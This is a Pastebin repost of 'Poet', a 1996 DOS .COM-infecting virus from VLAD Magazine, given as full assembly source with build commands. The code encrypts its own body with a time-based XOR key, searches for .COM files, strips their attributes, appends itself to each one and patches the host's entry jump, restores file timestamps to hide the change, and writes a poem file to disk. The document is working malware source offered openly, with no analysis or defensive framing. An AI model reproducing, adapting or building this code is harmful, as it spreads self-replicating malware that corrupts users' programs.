Advertisement
FlyFar

VLAD Magazine - Issue AF - ARTICLE.2_7 - Poet Virus

Jul 1st, 2023
1,788
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
6502 TASM/64TASS 6.99 KB | Cybersecurity | 0 0
  1. ; [POET]                      1st April 1996
  2. ; --------------------------------------------------------------------------
  3. ;
  4. ;
  5. ; If you think this is a virus, you're a F00L ! :)
  6. ;
  7. ; Beware, this virus is highly un-polymorphic !  
  8. ;
  9. ; For all those who wanna compile this (Tho I wonder who would.. well)
  10. ;              TASM /M2 POET.ASM and TLINK /t POET.OBJ
  11. ;
  12. ;
  13. ;                                       CoKe / VLAD
  14.  
  15. .model tiny
  16. .code
  17.  
  18. org 100h                                
  19.  
  20. tof:    jmp begin
  21.         nop
  22.         db 26
  23.  
  24. four_b: nop
  25. address:int 20h
  26. check:  nop
  27.  
  28. begin:  call next
  29.  
  30. next:   pop bp
  31.         sub bp, offset(next)
  32.        
  33.         call enc_dec
  34.         jmp domain
  35.        
  36. enc_val dw 0h
  37.  
  38. enc_dec:
  39.         mov dx, word ptr[bp + enc_val]
  40.         lea si, [bp + offset(domain)]
  41.         mov cx, (ende - domain + 1) /2
  42.  
  43. xor_it: xor word ptr[si], dx
  44.         add si, 2
  45.         loop xor_it
  46.         ret
  47.  
  48. writev:
  49.         mov ah, 2Ch
  50.         int 21h
  51.         mov word ptr[bp + enc_val], dx
  52.  
  53.         call enc_dec
  54.        
  55.         mov ah, 40h
  56.         mov cx, offset(ende) - offset(begin)
  57.         lea dx, [bp + offset(begin)]
  58.         int 21h
  59.        
  60.         call enc_dec
  61.         ret
  62.  
  63. domain: lea si, [bp + offset(four_b)]
  64.         mov di, offset(tof)
  65.         mov cx, 4
  66.         cld
  67.         rep movsb
  68.        
  69.         mov ah, 1Ah
  70.         lea dx, [bp + offset(DTA)]
  71.         int 21h
  72.  
  73.         mov ah, 4Eh                    
  74.         lea dx, [bp + offset(filesp)]  
  75.         lea si, [bp + offset(filename)]
  76.         int 21h                        
  77.         push dx                        
  78.         push si                        
  79.         jnc ok                          
  80.         jmp error                      
  81.  
  82. f_next: pop dx                          
  83.         pop si                          
  84.         pop bx                          
  85.         or bx, bx                      
  86.         jz goon                        
  87.         mov ah, 3Eh                    
  88.         int 21h                        
  89. goon:   mov ah, 4Fh                    
  90.         int 21h                        
  91.         push dx                        
  92.         push si                        
  93.         jnc ok                          
  94.  
  95. error:  mov ah, 3Eh                    
  96.         int 21h                        
  97.         jmp party
  98.  
  99. ok:     mov ax, 4301h                  
  100.         xor cx, cx                      
  101.         mov dx, si                      
  102.         int 21h                        
  103.  
  104.         mov ax, 3D02h                  
  105.         mov dx, si                      
  106.         int 21h                        
  107.         mov bx, ax                      
  108.         push bx                        
  109.         jc error                        
  110.                
  111.         mov ah, 3Fh                    
  112.         mov cx, 4                      
  113.         lea dx, [bp + offset(four_b)]  
  114.         int 21h                        
  115.  
  116.         cmp byte ptr [bp + offset(check)], 26
  117.         je f_next                            
  118.  
  119.         mov ax, 4202h                  
  120.         xor dx, dx                    
  121.         xor cx, cx                    
  122.         int 21h                        
  123.         mov [bp + offset(addr)], ax    
  124.         cmp ax, 0000FA00h              
  125.         ja f_next                      
  126.         mov ax, [bp + offset(DTA) + 35]
  127.         cmp ax, 'DN'                    
  128.         jz f_next                      
  129.  
  130.  
  131.         mov ah, 40h                    
  132.         mov cx, 4                      
  133.         lea dx, [bp + offset(four_b)]  
  134.         int 21h                        
  135.  
  136.         call writev                    
  137.        
  138.         mov ax, 4200h                  
  139.         xor dx, dx                      
  140.         xor cx, cx                      
  141.         int 21h                        
  142.        
  143.         mov ax, [bp + offset(addr)]    
  144.         inc ax                          
  145.        
  146.         mov [bp + offset(address)], ax  
  147.         mov byte ptr [bp + offset(four_b)], 0E9h
  148.         mov byte ptr [bp + offset(check)], 26
  149.  
  150.         mov ah, 40h                    
  151.         mov cx, 4                      
  152.         lea dx, [bp + offset(four_b)]  
  153.         int 21h                        
  154.        
  155.         mov ax, 5701h                  
  156.         mov dx, word ptr [bp + f_date]  
  157.         mov cx, word ptr [bp + f_time]  
  158.         int 21h                        
  159.        
  160.         mov ah, 3Eh                    
  161.         int 21h                        
  162.        
  163.         mov ax, 4301h                  
  164.         lea dx, [bp + offset DTA + 1eh]
  165.         xor ch,ch                      
  166.         mov cl, byte ptr [bp + attribute]
  167.         int 21h                        
  168.  
  169. party:
  170.         in al, 40h
  171.         and al, 00000111b
  172.         add al, 48
  173.         xchg ah, al
  174.         in al, 40h
  175.         and al, 00000111b
  176.         add al, 48
  177.         mov word ptr [bp + offset poetcrap], ax
  178.         xchg ah, al
  179.         mov word ptr [bp + offset poetcrap + 2], ax
  180.  
  181.         mov ah, 3ch
  182.         lea dx, [bp + offset poetfile]
  183.         int 21h
  184.  
  185.         jc endthis
  186.  
  187.         xchg ax, bx
  188.  
  189.         mov ah, 40h
  190.         mov cx, (ende - poem)                      
  191.         lea dx, [bp + offset poem]  
  192.         int 21h                        
  193.  
  194.         mov ah, 3eh                    
  195.         int 21h                        
  196.  
  197. endthis:mov ah, 1Ah                    
  198.         mov dx, 80h                    
  199.         int 21h                        
  200.         mov sp, 0FFFEh                  
  201.         mov bp, 100h                    
  202.         push bp                        
  203.         xor bp, bp                      
  204.         ret                             ;return (JMP 100h)
  205.  
  206. filesp db '*.com' ,0
  207. poetfile db 'poem'
  208. poetcrap dw 0,0
  209. morecrap db '.txt',0
  210. poem    db '_Darkness_', 0ah, 0dh
  211.         db 'All alone', 0ah, 0dh
  212.         db 'hiding in the dark', 0ah, 0dh
  213.         db ' the shadows', 0ah, 0dh
  214.         db '  of the past', 0ah, 0dh
  215.         db '    haunting me', 0ah, 0dh
  216.         db '     scaring me.', 0ah, 0dh
  217.         db 'Visions of You floating ', 0ah, 0dh
  218.         db ' through the room', 0ah, 0dh
  219.         db '  though my soul.', 0ah, 0dh
  220.         db 'Can''t escape this pain', 0ah, 0dh
  221.         db ' these thoughts', 0ah, 0dh
  222.         db '  longing for your arms', 0ah, 0dh
  223.         db '   your tender words', 0ah, 0dh
  224.         db '    your sweet kisses.', 0ah, 0dh
  225.         db 'You went away from me', 0ah, 0dh
  226.         db ' two hearts one soul', 0ah, 0dh
  227.         db '  ripped apart ', 0ah, 0dh
  228.         db '   leaving nothing but', 0ah, 0dh
  229.         db '    a broken heart.', 0ah, 0dh
  230.         db 'Whatever you do', 0ah, 0dh
  231.         db ' wherever you are', 0ah, 0dh
  232.         db '  close or far', 0ah, 0dh
  233.         db '   never forget', 0ah, 0dh
  234.         db '    I love you', 0ah, 0dh
  235.         db '     as you are.',0
  236.  
  237. ende:
  238.  
  239. DTA db 21 dup(?)
  240. attribute db ?
  241. f_time db 2 dup (?)
  242. f_date db 2 dup (?)
  243. f_size db 4 dup (?)
  244. filename db 13 dup (?)
  245. addr db 4 dup (?)
  246.  
  247. end tof
Tags: virus TASM
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement